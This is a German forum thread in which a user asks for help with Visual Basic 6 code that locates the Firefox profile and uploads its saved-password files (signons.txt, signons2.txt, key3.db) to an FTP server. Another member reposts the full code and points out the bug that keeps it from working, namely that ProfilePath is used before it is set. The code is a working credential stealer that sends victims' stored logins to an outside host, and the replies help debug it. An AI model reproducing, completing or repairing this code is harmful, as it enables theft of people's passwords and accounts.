|
| Autor |
Nachricht |
Analegrande_ Tutorial Leser

Anmeldedatum: 23.11.2007 Beiträge: 47
|
FTP Upload funktioniert nicht
Verfasst am: 13.03.2008, 21:30 |
|
|
Nabend zusammen,
ich habe Core´s Code, mit dem man den Profilordner von Firefox ausfindig macht für ein kleines Tool genutzt. Irgendwie klappt das aber nicht so ganz und es wäre nett wenn sich mal jemand den Source anschaut und mir sagen kann wo der Fehler liegt.
| Code: | Private Function FileExists(ByVal FileName As String) As Boolean
On Error Resume Next
FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _
vbNormal Or vbReadOnly Or vbSystem)) <> 0)
End Function
Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim ProfileName As String
Dim PassFile1 As String
Dim PassFile2 As String
Dim MasterPWFile As String
Dim Useless As String
PassFile1 = ProfilePath & "\signons2.txt"
PassFile2 = ProfilePath & "\signons.txt"
MasterPWFile = ProfilePath & "\key3.db"
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"
If Not FileExists(FireFoxPath & "\profiles.ini") Then
End
End If
Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1
ProfileName = Mid(No7, 15)
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "FTP-URL"
.UserName = "FTP-USER"
.Password = "FTP-PW"
.Execute , "PUT " & PassFile1 & " " & "signons2.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
.Execute , "PUT " & PassFile2 & " " & "signons.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
.Execute , "PUT" & MasterPWFile & " " & "key3.db"
Do While Inet1.StillExecuting
DoEvents
Loop
End With
End Sub
|
Es wird keine Datei auf den FTP geladen.
Ich denke das Programm findet die Files nicht oder mit dem Upload stimmt was nicht.^^
Aber für mich sieht der Teil, der den Profil-Ordner ermittelt ok aus :/
Naja hoffe ihr könnt mir helfen.
MFG |
|
| |
|
 |
Analegrande_ Tutorial Leser

Anmeldedatum: 23.11.2007 Beiträge: 47
|
Verfasst am: 15.03.2008, 17:32 |
|
|
*push*
Hat niemand ne Ahnung ?  |
|
| |
|
 |
Jolo_ Coder


Anmeldedatum: 20.03.2007 Beiträge: 210
|
Verfasst am: 15.03.2008, 17:38 |
|
|
Private Function FileExists(ByVal FileName As String) As Boolean
On Error Resume Next
FileExists = (Len(Dir$(FileName, vbDirectory Or vbHidden Or _
vbNormal Or vbReadOnly Or vbSystem)) <> 0)
End Function
Private Sub Form_Load()
Dim FireFoxPath As String
Dim ProfilePath As String
Dim No7 As String
Dim ProfileName As String
Dim PassFile1 As String
Dim PassFile2 As String
Dim MasterPWFile As String
Dim Useless As String
'ProfilePath ist noch leer...
PassFile1 = ProfilePath & "\signons2.txt"
PassFile2 = ProfilePath & "\signons.txt"
MasterPWFile = ProfilePath & "\key3.db"
FireFoxPath = Environ$("appdata") & "\Mozilla\FireFox"
If Not FileExists(FireFoxPath & "\profiles.ini") Then
End
End If
Open FireFoxPath & "\profiles.ini" For Input As #1
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, Useless
Input #1, No7
Close #1
ProfileName = Mid(No7, 15)
'Erst jetzt machst du was in die Variable ProfilePath... Das musst du oben schon machen
ProfilePath = FireFoxPath & "\Profiles\" & ProfileName
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = "FTP-URL"
.UserName = "FTP-USER"
.Password = "FTP-PW"
.Execute , "PUT " & PassFile1 & " " & "signons2.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
.Execute , "PUT " & PassFile2 & " " & "signons.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
.Execute , "PUT" & MasterPWFile & " " & "key3.db"
Do While Inet1.StillExecuting
DoEvents
Loop
End With
End Sub
MfG Jolo  |
|
| |
|
 |
kokaiin_ Tutorial Leser

Anmeldedatum: 03.01.2008 Beiträge: 36
|
Verfasst am: 15.03.2008, 17:39 |
|
|
| Mhh, vllt. irgendwo eine Pause einbauen? Bei mir hats mal geholfen... |
|
| |
|
 |
Analegrande_ Tutorial Leser

Anmeldedatum: 23.11.2007 Beiträge: 47
|
Verfasst am: 15.03.2008, 19:14 |
|
|
Das was Jolo meinte scheint Sin zu ergeben aber dadurch ladet er trotzdem immernoch nichts auf den FTP  |
|
| |
|
 |
|
|